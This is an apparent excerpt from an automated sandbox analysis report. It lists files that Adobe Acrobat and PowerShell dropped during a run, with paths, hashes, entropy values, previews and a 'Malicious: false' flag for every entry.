SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfbPtdPeUkwRe9:YvXKX+ikQWOUYpW7uGDV8Ukee9
MD5:	72AD68B98C24177A18C7C5291DB97422
SHA1:	F1CD8A4D9316F692B3E640E61CBB6E40E809DBC8
SHA-256:	33A378BD72E14DBCA831886DD9FC48316C361EA62A53728D75AF3D8163AC5E02
SHA-512:	217239E64205A9319985EB0BC8921E955E70F58C2FC0D4E211350A869277276147A592F1D011ED972D57C91F90F31A4F63462BDB2F3DF7EB0941DE19263C8A05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262607487543626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJf21rPeUkwRe9:YvXKX+ikQWOUYpW7uG+16Ukee9
MD5:	69D4CDC24FF4A06887D93ECCA1210B01
SHA1:	861797F656E0843FE1D568EE48945727C22A6CA2
SHA-256:	C11EC5ABA785BF3B05AEF989410101811DFF1D3BC68DB1A92E0FC201A2968014
SHA-512:	8370C14A422AE9F3D65653E0CFBAE77274F3DFE0E4384955D3FAED6E49F318D02B90A31CB7FB8D2DD6538C0D8688BF314CF6A2D3253E0FBADC90E7219AE49775
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6608937342248415
Encrypted:	false
SSDEEP:	24:Yv6X+i+OFibamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSB:YvM+VrBgkDMUJUAh8cvMB
MD5:	8B25F8968EB45EE72E6AEED6C1A13B5C
SHA1:	8C18FB629EBED036698A46E4B668ACFB0B826214
SHA-256:	FFAE5EE82CCEC8D193AF38E7E5EC5DC854C6F6F6A5F6CC6FF2A41E052CB4841A
SHA-512:	706294C6F23FEA879728083CEEA050A6D74624D4D9518BD4DB4E8980C9101992364C5E206832A55F5C1E731697D2ED5CD962A9E17C2BAA7AA7C47EB998651974
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.239979932585156
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJfshHHrPeUkwRe9:YvXKX+ikQWOUYpW7uGUUUkee9
MD5:	A8B433A05F3E2603305562BBB2EE7C60
SHA1:	161ACFA18D15FE7BE64994009739AA9758B85D84
SHA-256:	B148D09A7AD9A172E14A92C30CD35E6F4BE61267A31E9479A6C8BD51195B46D0
SHA-512:	C99B299BD69EF70335586278A99967CD69A94116F7104725BDC32980DBAB8D1565DA8F484818FF0F84561C187869A07B33B0BE08BC49DFDACAF7C1EB2F874807
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.251096185208038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGK5ipQWOx+FIbRI6XVW7+0YQoAvJTqgFCrPeUkwRe9:YvXKX+ikQWOUYpW7uGTq16Ukee9
MD5:	825D8CC83F15F7C8CD7239ECA7F84EE2
SHA1:	A6925060924AEA08196884539031312ED2FE631A
SHA-256:	14637F72C4471BC70EDF8B142EB62EC9BBA4AA7A00D9CAB0666D8B98687F15BC
SHA-512:	3C3FBA21B8D906501956538F4ED059F68B35E29AD2F60D92164ACA244818D4FFC03F7423BD8C4E68AB3D9A92B38EF8A6F3A6D68E056C8BA4E0DA5096F337C3F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8c9a7ebe-629c-4023-a3eb-58e5b8b0f5ff","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736735902185,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137927782479255
Encrypted:	false
SSDEEP:	24:YGRalmi5ay0Lc83VNccrVUGu9NujSnyj0S6R+2aBi2LS0CwHBW/a+LLR51bK9U6c:YRmq83vcR4VJh8qnHB5A1XbK9Upt
MD5:	31170B91BF6024A5BD595E70643FA254
SHA1:	C543409075DCA9E3290CAA516E5027B295EEEB79
SHA-256:	D6DFA44F1DD5337B4F3392550C63556A74D9D526428733BEF41A3C75B61806ED
SHA-512:	AB40ACDEC6E31AEEF4D336CE4193CE78F64F8A758C187199EE69C1B3E92A939B213DBCCE152CD27A14E6B528A61FEEC740CC87A83D59F70C175BC32618D0BE6B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c8f3398c03a4c6b98ec25ff0d1e3e4a7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736559712000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1ab22b23018bf53ded9a5744788327bb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736559711000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"31bb1b0be42cace2e6822a83c046d910","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736559711000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"943eb3000ecf146fefe2b4d270d3f270","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736559711000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"be88981bf220440fcd12fbbc014e8f7c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736559711000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e354ea8d16f537a59d058ed182eb3cdc","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9864346754558875
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpQ4zJwtNBwtNbRZ6bRZ49F:TVl2GL7ms6ggOVpzzutYtp6Pe
MD5:	B5948ED6D90DE59C01B97E9956E2EAEC
SHA1:	C6280161C46FB7AE7268336440515354ACE92F85
SHA-256:	3E5863C3181DCC5C58055549E106742116130CDB039627D4651BED736CC64771
SHA-512:	64B4B59ED0ED6EF27893C48FEEAC45A283BDC85785E14F32998216AA72B4149E1BFEDEAE3CC4A0F5B890E291A7DEB7E6E643B5B2486006E7AF5F4A8434B4AD1A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3413442500154684
Encrypted:	false
SSDEEP:	24:7+tLAD1RZKHs/Ds/SpQPzJwtNBwtNbRZ6bRZWf1RZKPnqLBx/XYKQvGJF7ursN:7MLGgOVpMzutYtp6PMGqll2GL7msN
MD5:	06DC11983CD916B7B73628A5B2C3220C
SHA1:	482EBECF2888189975EFA781E7355CFE358A21DB
SHA-256:	A06187C3ECF1DF3E98799700FDF9006EE58FF83940CF907126D30CADF390BEDC
SHA-512:	8E020EFEF0F85702F22633B719D8CF6319F2F9D65124F300F3360AA996BC311E9A1EB40CCF9B19D15492B98FE470B436EEADBE6911E01159286E262BDC7FAE8C
Malicious:	false
Preview:	.... .c.......{.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwWMsz6K+PkYb674ND8m8fmHVGYyu:6a6TZ44ADEwR3K6kYbcmHYK
MD5:	BBF9AD391636C691D07127F69D53A209
SHA1:	6FFD8B49BAF3CA7EE3A27D6475B0338DD9980012
SHA-256:	E4C5D86B16D5782D4266007CFDE6088ACCBB0F76CD683BB24A40D4A020ADCC14
SHA-512:	46F1FA46397D5C16BC09FB241C2AD174E9DFB596EC8E2D1E17D98FC80D28958EE55B038912CAE761FAFC8B61EB5DE1EEB5841ED2F565925382C8222B0CD68129
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSId5a00.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClXEH:Qw946cPbiOxDlbYnuRK+bb
MD5:	A906D6AFE3FB47159B829AD7C39344EA
SHA1:	6B124305626DB1CA9193193A2EC8A8957E54549A
SHA-256:	31558A2BB07872EEAE00FAB36ED5A7921EC6E2CADD95E7EFF763730A2C8625F8
SHA-512:	30BAFB1E4DF1F9DA61DC026663DCF2D53757C740A601C50436FF93057F0E68E9272BDEBA603CA151B68E7F1354CFCB8E2CD223AB237E8FCFD106BCBFE92B1637
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.4.1.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrda444l.n0y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qarnifu0.pyn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-41-46-797.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349155691659656
Encrypted:	false
SSDEEP:	384:4pTU7BK9KzaY0tkrhnRZ/KtK98AX+BMHnKYfmqUMcsFYWRzxhH1UidN4NI19bOuI:Wn4MX
MD5:	4D28A2247769710D61DC28D778A20524
SHA1:	8956FD88A0409BD4E34A5666B19C3BF46EED3D65
SHA-256:	E0F4213011177F01FA31BA1772FFD4A8518E0EF6977593480A53C0A1F3601A97
SHA-512:	8D7C7CEE11E730047E35077C2AE12719D869681B3D1E1849573226E7B84CE02E7B1925F8F6BD4D36E1839469486A3CF9833B353EDF02BB2ED697B4AECC6E8E93
Malicious:	false
Preview:	SessionID=98b4b5ee-c8a2-4404-9461-38c05c8c25dc.1736559706809 Timestamp=2025-01-10T20:41:46:809-0500 ThreadID=7432 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=98b4b5ee-c8a2-4404-9461-38c05c8c25dc.1736559706809 Timestamp=2025-01-10T20:41:46:810-0500 ThreadID=7432 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=98b4b5ee-c8a2-4404-9461-38c05c8c25dc.1736559706809 Timestamp=2025-01-10T20:41:46:810-0500 ThreadID=7432 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=98b4b5ee-c8a2-4404-9461-38c05c8c25dc.1736559706809 Timestamp=2025-01-10T20:41:46:810-0500 ThreadID=7432 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=98b4b5ee-c8a2-4404-9461-38c05c8c25dc.1736559706809 Timestamp=2025-01-10T20:41:46:810-0500 ThreadID=7432 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397501373013975
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbB:+0
MD5:	2F994E5F8C3B3BAD37B6E43A13E679B2
SHA1:	81B55848CE66F5F140A3DE47E3626920B7C0672D
SHA-256:	9189F5E5BDD54B49BBE95303B0B1921868958B76A4C219FD879262AEEF5AD2CC
SHA-512:	0488FD692486F616C24C996FF5DA08A62663D9868B076B5F031917C53897503E2E4F1D47A2B25104483F5CC04391CF9BAC9C960837A741E905519A8B793C8494
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9e373743-6e02-41b4-bce8-5be9ff6b477f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b52b8621-d526-4dd8-98e7-2d6b90d0d913.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\be95c044-4d1f-418b-a8a5-472bb586fa40.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:uoD9WL07oXGZflYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:uy9WLxXGZNZGH3mlind9i4ufFXpAXkru
MD5:	130BE2FD618BFD72EFAE881EB827AE8F
SHA1:	943042DBAF8A8E2F70A79F41F6B0C76880D62803
SHA-256:	647467C57EE2B583A18E9946EA78CEC9265634A35F8A5E584097818DAA596004
SHA-512:	4741A8FC7E59C5260EA1AF15C3C82FA95625FE3CB1025F311C859B4F9732A126826C4E2FFDAACB7CF72CE15DD901AAC4F2152DACDF7AABAD07CA4A901DDEE9BC
Malicious:	false
